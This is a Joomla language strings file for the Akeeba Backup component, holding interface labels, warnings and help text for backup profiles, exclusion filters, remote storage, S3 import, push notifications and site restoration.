COM_AKEEBABACKUP_CPANEL_MSG_MUSTENTERDLID="You need to enter your Download ID"
COM_AKEEBABACKUP_CPANEL_MSG_WHERETOENTERDLID="Go to Joomla's System menu from the left hand side. Find the Update pane and click on the Update Sites link. Find the “Akeeba Backup Professional” item and click on it. Alternatively, <a href=\"%s\">click here</a> to go directly to that page. Enter your Download ID — either your Main ID or an add-on Download ID — in the “Download Key” box and click on the Save button."
COM_AKEEBABACKUP_CPANEL_PROFILE_BUTTON="Switch Profiles"
COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_ERROR="Error switching the active profile"
COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_OK="Profile changed successfully"
COM_AKEEBABACKUP_CPANEL_PROFILE_TITLE="Active Profile"
COM_AKEEBABACKUP_CPANEL_WARNING_Q001="Output directory unwritable"
COM_AKEEBABACKUP_CPANEL_WARNING_Q003="Using site root as Output or Temporary directory"
COM_AKEEBABACKUP_CPANEL_WARNING_Q004="PHP memory_limit too low"
COM_AKEEBABACKUP_CPANEL_WARNING_Q013="Using component folder as Output directory"
COM_AKEEBABACKUP_CPANEL_WARNING_Q015="Joomla! custom public folder with Dereference Links enabled"
COM_AKEEBABACKUP_CPANEL_WARNING_Q101="Output directory is restricted by open_basedir"
COM_AKEEBABACKUP_CPANEL_WARNING_Q103="Maximum execution time is too low"
COM_AKEEBABACKUP_CPANEL_WARNING_Q104="Temp directory is the same as the site root"
COM_AKEEBABACKUP_CPANEL_WARNING_Q106="Your database table name prefix contains one or more uppercase letters"
COM_AKEEBABACKUP_CPANEL_WARNING_Q107="You are using <code>bak_</code> as your site's database table name prefix."
COM_AKEEBABACKUP_CPANEL_WARNING_Q201="Outdated PHP version"
COM_AKEEBABACKUP_CPANEL_WARNING_Q202="CRC calculation issue"
COM_AKEEBABACKUP_CPANEL_WARNING_Q203="Default output directory in use"
COM_AKEEBABACKUP_CPANEL_WARNING_Q204="Disabled functions may affect operation"
COM_AKEEBABACKUP_CPANEL_WARNING_Q401="ZIP format selected"
COM_AKEEBABACKUP_CPANEL_WARNING_QNONE="No problems detected"
COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_TITLE="Your version of PHP does not have the mbstring extension installed or activated."
COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_BODY="Having it enabled is a Joomla! requirement. Joomla! and Akeeba Backup will not work properly. Please ask your host to enable the mbstring extension on PHP %s running on your server."

COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HEAD="Push Notifications"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_SUMMARY="Manage push notifications in your browser"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_DETAILS="Push notifications are managed per browser and device through the browser's Push API. Some older browsers may not support push notifications. Please read the documentation for more information."
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_HEAD="Push Notifications are not available"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_BODY="Your browser does not support the Push API. Please use a recent version of Firefox, Chrome, Edge, Opera and other browsers with support for the Web Push API. <br/><small>The Push API is also supported on Safari in macOS Ventura and later, as well as iOS 16.1 and later.</small>"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_SERVER_BODY="Your server does not meet the minimum requirements to use the browser's Push API to send notifications. Please consult the documentation for the list of requirements for this feature."
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_SUBSCRIBE="Enable Push Notifications"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_UNSUBSCRIBE="Disable Push Notifications"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_TITLE="Akeeba Backup notifications enabled on %s"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_BODY="This message confirms that enabling push notifications worked and shows you what Akeeba Backup notifications will look like."

COM_AKEEBABACKUP_DBFILTER="Database Tables Exclusion"
COM_AKEEBABACKUP_DBFILTER_LABEL_EXCLUDENONCORE="Exclude non-core tables"
COM_AKEEBABACKUP_DBFILTER_LABEL_NUKEFILTERS="Reset all filters"
COM_AKEEBABACKUP_DBFILTER_LABEL_ROOTDIR="Current database:"
COM_AKEEBABACKUP_DBFILTER_LABEL_SITEDB="Site's main database"
COM_AKEEBABACKUP_DBFILTER_LABEL_TABLES="Database tables, views, procedures, functions and triggers"
COM_AKEEBABACKUP_DBFILTER_TABLE_FUNCTION="Stored function"
COM_AKEEBABACKUP_DBFILTER_TABLE_META_ROWCOUNT="Number of rows"
COM_AKEEBABACKUP_DBFILTER_TABLE_MISC="Merge, temporary, memory, federated, blackhole or miscellaneous table type<br/>Its data is never backed up by Akeeba Backup."
COM_AKEEBABACKUP_DBFILTER_TABLE_PROCEDURE="Stored procedure"
COM_AKEEBABACKUP_DBFILTER_TABLE_TABLE="Database table"
COM_AKEEBABACKUP_DBFILTER_TABLE_TRIGGER="Database trigger"
COM_AKEEBABACKUP_DBFILTER_TABLE_VIEW="MySQL View"
COM_AKEEBABACKUP_DBFILTER_TABLE_TEMP="Temporary table"
COM_AKEEBABACKUP_DBFILTER_TABLE_UNKNOWN="Other database entity type"
COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLEDATA="Do not backup a table's contents"
COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLES="Exclude a table"
COM_AKEEBABACKUP_DBFILTER_TYPE_TABLEDATA="Do not backup its contents"
COM_AKEEBABACKUP_DBFILTER_TYPE_TABLES="Exclude this"

COM_AKEEBABACKUP_DISCOVER="Import Archives"
COM_AKEEBABACKUP_DISCOVER_ERROR_NODIRECTORY="You have not selected a valid directory"
COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILES="There are no archive files to import in the selected directory. Please go back and select another directory."
COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILESSELECTED="You didn't select any files to import."
COM_AKEEBABACKUP_DISCOVER_LABEL_DIRECTORY="Directory"
COM_AKEEBABACKUP_DISCOVER_LABEL_FILES="Archive Files Detected"
COM_AKEEBABACKUP_DISCOVER_LABEL_GOBACK="Go back to the directory selection"
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORT="Import the files"
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTDONE="Import operation completed successfully."
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTEDDESCRIPTION="Imported backup archive"
COM_AKEEBABACKUP_DISCOVER_LABEL_S3IMPORT="Are your archives stored on Amazon S3? Click <a href=\"%s\">here</a> to download and import them in a single step!"
COM_AKEEBABACKUP_DISCOVER_LABEL_SCAN="Scan for files"
COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTDIR="Select a directory containing backup archives"
COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTFILES="Please select the files to import. Hold the CTRL or Command key while clicking on the files in order to make a multiple files selection."

COM_AKEEBABACKUP_EMAIL_POSTPROCESSING_FAILED="Post-processing (upload to remote storage) has FAILED."
COM_AKEEBABACKUP_EMAIL_POSTPROCESSING_SUCCESS="Post-processing (upload to remote storage) was successful."

COM_AKEEBABACKUP_FILEFILTERS="Files and Directories Exclusion"
COM_AKEEBABACKUP_FILEFILTERS_EDITOR_TITLE="Edit"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_ADDNEWFILTER="Add new filter:"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_DIRS="Subdirectories"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILES="Files"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILTERITEM="Filter Item"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_NORMALVIEW="Browser View"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_NUKEFILTERS="Reset all filters"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_ROOTDIR="Root directory:"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_TABULARVIEW="Summary View"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_TYPE="Type"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIERRORFILTER="An error occurred while applying the filter for &quot;%s&quot;."
COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIROOT="&lt;root&gt;"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_VIEWALL="List all exclusions"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLDIRS="Apply to all listed folders"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLFILES="Apply to all listed files"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES="Exclude Directory"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES_ALL="Exclude all directories"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES="Exclude File"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES_ALL="Exclude all files"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS="Skip Subdirectories"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS_ALL="Skip all directories"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES="Skip Files"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES_ALL="Skip all files"
COM_AKEEBABACKUP_FILTER_SELECT_QUICKICON="– One-click backup icon –"

COM_AKEEBABACKUP_INCLUDEFOLDER="Off-site Directories Inclusion"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY="Directory"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY_HELP="The directory on your server which will be included in the backup. This feature is meant only for directories located outside your site's root. Directories inside the site's root are always backed-up automatically, unless you exclude them using the File and Directory Exclusion feature."
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR="Virtual subdirectory"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR_HELP="The files are stored in the archive inside a subdirectory of the Virtual directory for off-site files, defined in your configuration (default: external_files). You can customise the name of that directory. Set it to a single forward slash (it's this character: /) and your external files will be placed inside your site's root. This is useful if you want to override certain files in the backup, e.g. your configuration.php file or customise the template of the installation script."

COM_AKEEBABACKUP_LBL_BATCH_COPY="Copy"
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSDLID="You must enter your <strong>Download ID</strong> before you can update Akeeba Backup Professional and use some of its remote storage features. <a href='%s' target='_blank'>If you don't know your download ID, please click here</a>."
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_HEAD="Entering the Download ID is not sufficient for enabling Akeeba Backup Professional's features"
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_BODY="You will need to download and install the Akeeba Backup Professional package on your site <em>twice</em>, without uninstalling the Core version. For more information and detailed instructions please take a look at our <a href='%s'>video tutorial on upgrading Akeeba Backup Core to Professional</a>."
COM_AKEEBABACKUP_LBL_PROFILES_SAVED="The profile was successfully saved"
COM_AKEEBABACKUP_LBL_PROFILE_COPIED="The Profile and its associated settings have been copied successfully"
COM_AKEEBABACKUP_LBL_PROFILE_DELETED="The Profile has been successfully deleted"
COM_AKEEBABACKUP_LBL_PROFILE_SAVED="The Profile was saved successfully"

COM_AKEEBABACKUP_LOG="View Log"
COM_AKEEBABACKUP_LOG_CHOOSE_FILE_TITLE="Please choose a log file to display:"
COM_AKEEBABACKUP_LOG_CHOOSE_FILE_VALUE="- Select a backup origin -"
COM_AKEEBABACKUP_LOG_ERROR_LOGFILENOTEXISTS="The log file does not exist in your output directory"
COM_AKEEBABACKUP_LOG_ERROR_UNREADABLE="The log file is unreadable"
COM_AKEEBABACKUP_LOG_LABEL_DOWNLOAD="Download log file"
COM_AKEEBABACKUP_LOG_NONE_FOUND="No log file was found"
COM_AKEEBABACKUP_LOG_SHOW_LOG="Show log"
COM_AKEEBABACKUP_LOG_SIZE_WARNING="Your log file is %s Mb big. Trying to display it in the browser may crash the browser or cause a timeout error on your server. Please use the Download Log button above to download the log file to your computer instead. You can open and read the log with any plain text editor."

COM_AKEEBABACKUP_MULTIDB="Multiple Databases Definitions"
COM_AKEEBABACKUP_MULTIDB_ERR_MISSINGINFO="You must specify a database driver, hostname, username, password and database name at a minimum."
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CANCEL="Cancel"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTFAIL="Could not connect to database. Please check your settings. Last error:"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTOK="Connected to database!"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DATABASE="Database name"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DRIVER="Database driver"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_HOST="Database server hostname"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_LOADING="Loading; please wait..."
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PASSWORD="Password"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PORT="Database server port"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PREFIX="Prefix"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVE="Save"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVEFAIL="Saving failed; please retry"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_TEST="Test Connection"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_USERNAME="Username"
COM_AKEEBABACKUP_MULTIDB_LABEL_DATABASE="Database name"
COM_AKEEBABACKUP_MULTIDB_LABEL_HOST="Database server host name"

COM_AKEEBABACKUP_PROFILES="Profiles Management"
COM_AKEEBABACKUP_PROFILES_BTN_EXPORT="Export"
COM_AKEEBABACKUP_PROFILES_BTN_PUBLISH="Enable one-click backup icon"
COM_AKEEBABACKUP_PROFILES_BTN_RESET="Reset"
COM_AKEEBABACKUP_PROFILES_BTN_UNPUBLISH="Disable one-click backup icon"
COM_AKEEBABACKUP_PROFILES_ERROR_RESET_FAILED="Resetting the configuration and filters of the backup profile failed. Reason: %s"
COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_FAILED="Profile import failed"
COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_INVALID="Invalid file. This doesn't look like an exported profile .json file."
COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_DESC="Find a profile by entering its partial description. Find a profile by its ID using the syntax <code>id:123</code> where 123 is the numeric profile ID."
COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_LABEL="Description"
COM_AKEEBABACKUP_PROFILES_HEADER_IMPORT="Import"
COM_AKEEBABACKUP_PROFILES_IMPORT="Import"
COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION="Profile Description"
COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION_TOOLTIP="Enter a description for this profile. It doesn&apos;t have to be unique and is only used to help you with distinguishing individual profiles."
COM_AKEEBABACKUP_PROFILES_LBL_EXPLAIN_PROFILES="Each backup profile is a set of configuration options, and inclusion &amp; exclusion filter options. It tells Akeeba Backup what and how to back up, and where to store the backup archives."
COM_AKEEBABACKUP_PROFILES_LBL_IMPORT_HELP="Select an exported profile .json file from this or a different site to quickly import its settings."
COM_AKEEBABACKUP_PROFILES_MSG_IMPORT_COMPLETE="Profile successfully imported"
COM_AKEEBABACKUP_PROFILES_N_ITEMS_DELETED="%d backup profiles have been deleted."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_DELETED_1="The backup profile has been deleted."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_PUBLISHED="One-click backup was enabled for %d profiles."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_PUBLISHED_1="One-click backup was enabled for the profile."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_RESET="The configuration and filters of %d backup profiles have been reset."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_RESET_1="The backup profile's configuration and filters have been reset."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_UNPUBLISHED="One-click backup was disabled for %d profiles."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_UNPUBLISHED_1="One-click backup was disabled for the profile."
COM_AKEEBABACKUP_PROFILES_PAGETITLE_EDIT="Edit a Backup Profile"
COM_AKEEBABACKUP_PROFILES_PAGETITLE_NEW="New Backup Profile"
COM_AKEEBABACKUP_PROFILES_TABLE_CAPTION="Table of backup profiles"
COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEACTIVE="You can not delete the currently active profile. Please go to the Control Panel page, select a different profile and then come back to this page to delete profile #%d."
COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEDEFAULT="You can not delete the default profile (the one with id=1)"
COM_AKEEBABACKUP_PROFILE_ERR_NOACCESS="You do not have access to this backup profile"

COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY="Akeeba Backup has detected that the backup of your site \"%s\" located in %s has failed."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY_WITH_MESSAGE="Akeeba Backup has detected that the backup of your site \"%s\" located in %s has failed. The backup failure message is:\n%s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_SUBJECT="Failed backup for %s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_SUCCESS_BODY="Akeeba Backup has successfully finished backing up your site \"%s\" located in %s on %s."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_SUCCESS_SUBJECT="Successful backup for %s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_WARNINGS_BODY="Akeeba Backup has finished backing up your site \"%s\" located in %s on %s but warnings have been issued. This could mean that files have not been backed up or, if you are automatically uploading the backup to remote storage, the upload may have failed\nYou have to review the warnings and make sure that your backup has completed successfully. We advise you to always test a backup which resulted in warnings being issued to make sure that it is working properly. You can do so by restoring it to a local server. Remember that an untested backup is as good as no backup at all."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_WARNINGS_SUBJECT="Backup finished with warnings for %s"
COM_AKEEBABACKUP_PUSH_STARTBACKUP_BODY="Akeeba Backup has begun taking a backup of site \"%s\" located in %s on %s."
COM_AKEEBABACKUP_PUSH_STARTBACKUP_SUBJECT="Backup started for %s"

COM_AKEEBABACKUP_REGEXDBFILTERS="RegEx Database Tables Exclusion"
COM_AKEEBABACKUP_REGEXFSFILTERS="RegEx Files and Directories Exclusion"

COM_AKEEBABACKUP_REMOTEFILES="Remotely stored files management"
COM_AKEEBABACKUP_REMOTEFILES_DELETE="Delete"
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDELETE="Could not delete the remotely stored file. The error was: "
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDOWNLOAD="Could not download file. The error was: "
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTOPENFILE="Can't open local file %s for writing; aborting the download process"
COM_AKEEBABACKUP_REMOTEFILES_ERR_DELETE_ALREADY="You have already deleted the remotely stored file. You need to transfer the file again for the remote file download and delete features to be available again."
COM_AKEEBABACKUP_REMOTEFILES_ERR_DOWNLOADEDTOFILE_ALREADY="You have already fetched back the remotely stored file to your site's server. Select the backup record and click on Delete Files to remove the file stored on your site's server to re-enable this button."
COM_AKEEBABACKUP_REMOTEFILES_ERR_INVALIDID="Invalid download ID specified"
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED="Sorry, the remote storage engine you are using does not support downloading or deleting files stored remotely."
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_ALREADYONSERVER="You have already deleted the remotely stored files using Akeeba Backup."
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_HEADER="No remote file operations available"
COM_AKEEBABACKUP_REMOTEFILES_ERR_UNSUPPORTED="This functionality is currently not supported by the post-processing engine used by the current backup record."
COM_AKEEBABACKUP_REMOTEFILES_FETCH="Fetch back to server"
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_HEADER="Operation in progress"
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_PLEASEWAIT="Loading, please wait."
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_UNDERWAY="The operation you requested is currently under way."
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_WAITINGINFO="You will receive an update on its progress in as little as a few seconds or as much as three minutes."
COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADEDSOFAR="Downloaded %u bytes of %u total bytes (%u %%)"
COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADLOCALLY="Download to your desktop"
COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHED="Finished downloading your backup set from the remote storage back to the local server"
COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHEDELETING="Remotely stored files have been deleted successfully"
COM_AKEEBABACKUP_REMOTEFILES_PART="Part #%u"

COM_AKEEBABACKUP_RESTORE="Site Restoration"
COM_AKEEBABACKUP_RESTORE_LABEL_ARCHIVE_INFORMATION="Backup #%d will be restored"
COM_AKEEBABACKUP_RESTORE_LABEL_WARN_ABOUT_RESTORE="Restoring a backup will <em>replace</em> your site with the site snapshot contained in the backup archive. Any changes made to your site since the time of the backup will be <em>lost forever</em>. Please double check that you are restoring the correct backup archive."
COM_AKEEBABACKUP_RESTORE_ERROR_ARCHIVE_MISSING="The backup archive could not be located"
COM_AKEEBABACKUP_RESTORE_ERROR_CANT_WRITE="Could not write restoration.php. Please make sure the <code>administrator/components/com_akeebabackup</code> directory is writable."
COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_RECORD="Invalid backup record"
COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_TYPE="Invalid file type. The integrated restoration will only work with JPA and ZIP files."
COM_AKEEBABACKUP_RESTORE_ERROR_NO_LATEST="There is no backup taken with profile #%d or the backup archive is not present on your server. Please use the Manage Backup page to identify your backups, fetch them back to your server (if they are stored remotely) and restore them."
COM_AKEEBABACKUP_RESTORE_LABEL_BYTESEXTRACTED="Bytes extracted"
COM_AKEEBABACKUP_RESTORE_LABEL_BYTESREAD="Bytes read"
COM_AKEEBABACKUP_RESTORE_LABEL_DONOTCLOSE="Please <strong>DO NOT</strong> browse to another page, switch to another browser tab / window, or switch to <em>a different application</em> unless you see a completion or error message. Make sure your device does not go into sleep mode while the backup archive extraction is in progress."
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD="Files extraction method"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_DIRECT="Write directly to files"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_FTP="Use the FTP layer"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_HYBRID="Hybrid (write directly, use FTP layer only when necessary)"
COM_AKEEBABACKUP_RESTORE_LABEL_FAILED="The extraction has failed"
COM_AKEEBABACKUP_RESTORE_LABEL_FAILED_INFO="Extraction of the backup archive has failed.<br/>The last error message was:"
COM_AKEEBABACKUP_RESTORE_LABEL_FILESEXTRACTED="Files extracted"
COM_AKEEBABACKUP_RESTORE_LABEL_FINALIZE="Finalise restoration"
COM_AKEEBABACKUP_RESTORE_LABEL_FTPOPTIONS="FTP Layer Options"
COM_AKEEBABACKUP_RESTORE_LABEL_INPROGRESS="Archive extraction in progress"
COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC="Maximum execution time (seconds)"
COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC_TIP="Files will be extracted for at most this many seconds in each step. Increase to make extraction faster. Decrease to prevent server timeouts."
COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC="Minimum execution time (seconds)"
COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC_TIP="Each files extraction step will not return for this many seconds. Set higher than the maximum setting below to add “dead time” in each step, reducing resource usage."
COM_AKEEBABACKUP_RESTORE_LABEL_REMOTETIP="<strong>Tip</strong>: In order to restore to a remote server select the \"Use the FTP layer\" option and supply your remote server's FTP connection information in the FTP Layer Options below.<br/>Use the Hybrid option and give the current site's FTP connection information if the restoration fails with unwriteable files."
COM_AKEEBABACKUP_RESTORE_LABEL_RUNINSTALLER="Run the site restoration script"
COM_AKEEBABACKUP_RESTORE_LABEL_START="Start Restoration"
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS="The extraction was completed successfully"
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2="You must now run the Akeeba Backup Restoration Script which was included in your backup archive at backup time. <em>Do not close this window!</em>. After the restoration is over, close the Akeeba Backup Restoration Script's window and click the new Finalise Restoration button below to remove the <code>installation</code> directory and begin using your restored site."
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2B="If, however, you are restoring to a remote site <em>do not</em> click either button. Instead, visit the restoration script's URL at <code>http://<var>www.yoursite.com</var>/installation/index.php</code>. After the restoration is over, click on \"Remove the installation folder\" link on the restoration script's final page or, if this fails, remove the <code>installation</code> directory from that site using your favourite FTP application."
COM_AKEEBABACKUP_RESTORE_LABEL_TIME_HEAD="Timing settings (advanced)"
COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE="Delete everything before extraction"
COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE_HELP="Tries to delete all existing files and folders under your site's root directory before extracting the backup archive. It DOES NOT take into account which files and folders exist in the backup archive or which files and folders are excluded during backup. Files and folders deleted by this feature CAN NOT be recovered. <strong>WARNING! THIS MAY DELETE FILES AND FOLDERS WHICH DO NOT BELONG TO YOUR SITE. THIS FEATURE IS ONLY MEANT FOR VERY EXPERIENCED USERS WHO UNDERSTAND THE RISKS. USE WITH EXTREME CAUTION. BY ENABLING THIS FEATURE YOU ASSUME ALL RESPONSIBILITY AND LIABILITY. FURTHERMORE YOU WAIVE ANY RIGHT TO REQUEST SUPPORT FROM AKEEBA LTD.</strong>"
COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE="Enable Stealth Mode while restoring"
COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE_HELP="Visitors to your site coming from a different IP address than yours will be temporarily redirected to <code>installation/offline.html</code>, a file telling them your site is currently under maintenance. Only works on servers which support <code>.htaccess</code> files. Please read the documentation for more information."

COM_AKEEBABACKUP_S3IMPORT="Import Archives from S3"
COM_AKEEBABACKUP_S3IMPORT_ERR_CANTOPEN="Can not open the temporary file we just created; your server has a problem we cannot work around"
COM_AKEEBABACKUP_S3IMPORT_ERR_CANTWRITE="Can not write to your output directory; please check the permissions"
COM_AKEEBABACKUP_S3IMPORT_ERR_NOTENOUGHINFO="Not enough information to connect to S3"
COM_AKEEBABACKUP_S3IMPORT_ERR_NOTFOUND="The file was not found in your S3 bucket"
COM_AKEEBABACKUP_S3IMPORT_LABEL_CHANGEBUCKET="Change bucket"
COM_AKEEBABACKUP_S3IMPORT_LABEL_CONNECT="Connect to S3"
COM_AKEEBABACKUP_S3IMPORT_LABEL_SELECTBUCKET="- Bucket -"
COM_AKEEBABACKUP_S3IMPORT_MSG_IMPORTCOMPLETE="The archive was successfully imported to your site"

COM_AKEEBABACKUP_S3_ACCESS_DESCRIPTION="How the API will access the bucket. If unsure use Virtual Hosting. Virtual Hosting is the recommended, supported method for Amazon S3 which uses a URL like https://BUCKET.ENDPOINT to access the bucket. Path Access is an unsupported, deprecated method which uses a URL like https://ENDPOINT/BUCKET to access the bucket. You should only use Path Access if a third party storage provider with an Amazon S3-compatible API asks you to do that."
COM_AKEEBABACKUP_S3_ACCESS_PATH="Path Access (legacy)"
COM_AKEEBABACKUP_S3_ACCESS_TITLE="Bucket access"
COM_AKEEBABACKUP_S3_ACCESS_VIRTUALHOST="Virtual Hosting (recommended)"
COM_AKEEBABACKUP_S3_REGION_TITLE="Amazon S3 Region"
COM_AKEEBABACKUP_S3_REGION_DESCRIPTION="Choose the S3 region where your bucket is located in. Please consult http://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region <strong>ATTENTION! Due to Amazon's API you MUST select the location of your bucket when using the v4 signature method. The v4 signature method is MANDATORY for all buckets created in any region which went online after January 2014 such as Frankfurt and Sao Paolo.</strong> This is an Amazon restriction, not an Akeeba Backup restriction. Thank you for your understanding."
COM_AKEEBABACKUP_S3_REGION_NONE="None (ATTENTION! ONLY USE WITH THE v2 SIGNATURE METHOD)"
COM_AKEEBABACKUP_S3_REGION_CUSTOM_OR_NONE="Custom / None"
COM_AKEEBABACKUP_S3_REGION_AFSOUTH1="Africa, South (Cape Town)"
COM_AKEEBABACKUP_S3_REGION_APEAST1="Asia Pacific, East (Hong Kong)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST1="Asia Pacific, Northeast (Tokyo)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST2="Asia Pacific, Northeast (Seoul)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST3="Asia Pacific, Southeast (Osaka)"
COM_AKEEBABACKUP_S3_REGION_APSOUTH1="Asia Pacific, South (Mumbai)"
COM_AKEEBABACKUP_S3_REGION_APSOUTH2="Asia Pacific, South (Hyderabad)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST1="Asia Pacific, Southeast (Singapore)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST2="Asia Pacific, Southeast (Sydney)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST3="Asia Pacific, Southeast (Jakarta)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST4="Asia Pacific, Southeast (Melbourne)"
COM_AKEEBABACKUP_S3_REGION_CACENTRAL1="Canada (Central)"
COM_AKEEBABACKUP_S3_REGION_CNNORTH1="China, North (Beijing)"
COM_AKEEBABACKUP_S3_REGION_CNNORTHWEST1="China, Northwest (Ningxia)"
